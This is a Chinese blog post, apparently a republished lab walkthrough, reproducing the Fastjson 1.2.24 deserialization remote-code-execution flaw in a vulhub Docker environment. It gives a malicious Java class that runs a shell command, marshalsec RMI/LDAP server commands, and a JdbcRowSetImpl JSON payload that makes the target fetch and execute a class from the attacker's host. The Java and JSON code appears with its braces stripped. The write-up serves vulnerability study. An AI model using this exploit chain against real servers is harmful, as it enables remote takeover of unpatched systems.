安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)相关的知识,希望对你有一定的参考价值。

文章目录

前言

环境的安装略过,环境安装的问题请自行百度
此文章仅学习记录,请勿用于非法用途
中括号内的内容为可变值,需要根据实际情况修改

Fastjson 1.2.24下载

Java命令执行

marshalsec下载

maven历史版本下载

Docker容器进入的4种方式

Python开启HTTP服务

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

一、环境

[1]. 目标机(Debian 5)

192.168.248.131

vulhub

docker

docker-compose

[2]. 攻击机(Windows 10)

192.168.248.1

python3

javac

jre 1.8

burpsuite

marshalsec

maven

二、漏洞复现

[1]. 编译marshalsec项目

进入项目的根目录,输入以下命令(需要将maven添加至环境变量)
如果没法编译的话,可以换一个jre版本(之前在本机的java1.8版本编译失败,但是虚拟机中java1.11版本编译成功了)

mvn clean package -DskipTests

出现了target,里面有JAR包就表示编译成功了


[2]. 开启环境

先开启docker

systemctl start docker

然后在vulhub/fastjson/1.2.24-rce文件夹内开启docker-compose(第一次开启该环境会下载一些东西,之后开启就不需要再下载了)

docker-compose up -d

在攻击机访问一下目标IP:8090,有返回json字符串表示环境开启成功

burpsuite抓包后发送一个json格式的字符串,表示目标可接收json

[3]. 编译恶意class

创建如下的java文件,touch fox表示创建一个名为fox的空文件
需要目标执行什么命令就自己修改一下就行

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile 
    static 
        try 
            Runtime rt = Runtime.getRuntime();
            String[] commands = "touch", "fox";
            Process pc = rt.exec(commands);
            pc.waitFor();
         catch (Exception e) 
            // do nothing
        
    

使用javac将java文件编译成class文件

javac java文件名


[4]. Python开启HTTP服务

python2和python3开启http服务的方式不同,python2是使用如下语句

python -m SimpleHTTPServer [端口]

python3使用如下语句

python -m http.server [端口]

现在进入刚刚的class文件的路径下,并进入cmd界面开启HTTP服务(注意开启的端口不能被占用)

在浏览器访问一下该端口,能访问到恶意的class就行了

[5]. marshalsec开启LDAP或RMI服务

开启RMI服务的命令如下

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]

开启LDAP服务的命令如下

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
  • 进入之前编译好的JAR包所在路径,输入命令开启一个LDAP服务(RMI服务也可)
  • 可以把LDAP或RMI当成是http,在目标执行了恶意的json语句之后可以访问到攻击机的class类并执行
  • 井号#记得别忘记写

[6]. 发送恶意json语句

在burpsuite中post一个json给目标,json语句中的rmi和ldap需要小写
使用rmi还是ldap得和之前marshalsec开启的服务类型一样


    "b":
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"[rmi或ldap]://192.168.248.1:[marshalsec项目开启的服务端口]/[恶意class文件名,不包括后缀]",
        "autoCommit":true
    

发送成功后,之前开启的LDAP服务就收到了信息

同样python起的http也会收到信息

[7]. 检测漏洞利用情况

搜索一下已开启的镜像id,ID为f14a3193f41f

docker ps

使用命令进入该镜像,查看一下根路径下的文件,发现已经成功创建了fox文件

docker exec -it [镜像的ID,不需要全输入] /bin/bash

三、修复

升级Fastjson至最新版本

以上是关于安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)的主要内容,如果未能解决你的问题,请参考以下文章

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

15-java安全——fastjson反序列化1.2.25 - 1.2.41版本绕过

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析